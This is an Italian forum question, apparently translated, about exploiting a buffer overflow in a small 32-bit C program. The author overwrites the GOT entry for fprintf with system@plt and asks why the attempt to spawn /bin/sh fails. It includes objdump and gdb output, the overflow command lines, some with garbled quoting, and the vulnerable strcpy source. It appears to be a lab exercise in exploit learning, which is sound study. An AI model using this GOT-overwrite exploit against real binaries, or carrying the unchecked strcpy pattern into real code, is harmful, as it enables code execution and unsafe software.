Qui sotto è objdump
output di un programma C (codice sorgente in fondo a questo post) dove sto facendo overflow del buffer per sovrascrivere la voce della tabella offset di gruppo (GOT):
-$ objdump -R ./vuln
./vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049944 R_386_GLOB_DAT __gmon_start__
08049980 R_386_COPY stderr
#note the adress of stdout below
080499a0 R_386_COPY stdout
08049954 R_386_JUMP_SLOT printf
08049958 R_386_JUMP_SLOT fwrite
0804995c R_386_JUMP_SLOT strcpy
08049960 R_386_JUMP_SLOT system
08049964 R_386_JUMP_SLOT __gmon_start__
08049968 R_386_JUMP_SLOT exit
0804996c R_386_JUMP_SLOT strlen
08049970 R_386_JUMP_SLOT __libc_start_main
#note the adress of fprintf below
08049974 R_386_JUMP_SLOT fprintf
-$
Indirizzo di system()
, da gdb:
(gdb) p system
$3 = {<text variable, no debug info>} 0x8048410 <system@plt>
(gdb)
Sono in grado di chiamare system()
anziché fprintf()
scrivendo 0x8048410
in 0x8049974
fornendo l'input come di seguito.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"'
hello
sh: 1: �*��: not found
-$
Sopra l'input lavorato e system()
è stato chiamato anziché fprintf()
, come si può vedere nell'output precedente. Ma sembra che /bin/sh
abbia cercato di eseguire il comando situato in stdout
che non è stato in grado di capire ( sh: 1: �*��: not found
).
Possiamo vedere dall'output objdump
sopra quell'indirizzo di stdout
è 0x80499a0
. Questo indirizzo è a 44 byte di distanza da 0x8049974
.
Ricorda che sto copiando 0x8048410 su 0x8049974
.
Così ho pensato, dopo 0x8048410
, posso dare 40 caratteri casuali e poi /bin/sh
in modo che /bin/sh
venga copiato in 0x80499a0
(indirizzo di stdout
). Quindi quando system(stdout, "%s\n", buffer);
viene generata una nuova shell.
Dopo aver fatto ciò, l'errore di shell è scomparso (cioè non ottengo sh: 1: �*��: not found
), ma non sembra che nient'altro accada e la nuova shell non viene spawnata.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"''perl -e 'print "a"x40 . "/bin/sh"''
hello
-$
Quindi il riepilogo è:
Sono in grado di chiamare system()
anziché fprintf()
sovrascrivendo le voci GOT e non ho alcun problema in questa parte.
Ma una volta chiamato system()
, il mio problema è (stdout, "%s\n", buffer)
, a causa del quale (suppongo) system()
(e di conseguenza /bin/sh
) sta cercando di eseguire un comando il cui nome è puntato da stdout
.
Come ho detto, ho provato scrivendo /bin/sh
dopo 44 byte dopo 0x8049974
ma non sembra accadere nulla.
Sono in grado di chiamare system(stdout, "%s\n", buffer)
anziché fprintf(stdout, "%s\n", buffer)
sovrascrivendo la voce GOT. Ma non sono in grado di generare una shell con questo comando di sistema. Come posso indirizzare stdout
a /bin/sh
. Ho l'indirizzo (0x80499a0) a cui stdout
punta (dall'uscita objdump).
Di seguito è riportato il codice sorgente del programma che sto tentando di sfruttare
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
char *p;
char buffer[128];
if (argc != 3) {
fprintf(stderr, "enter two strings that need to be concatenated\n");
return 1;
}
system("echo hello");
/* concatenate two input strings, and print them out together */
p = buffer + strlen(argv[1]);
strcpy(buffer, argv[1]);
strcpy(p, argv[2]);
fprintf(stdout, "%s\n", buffer);
exit(0);
}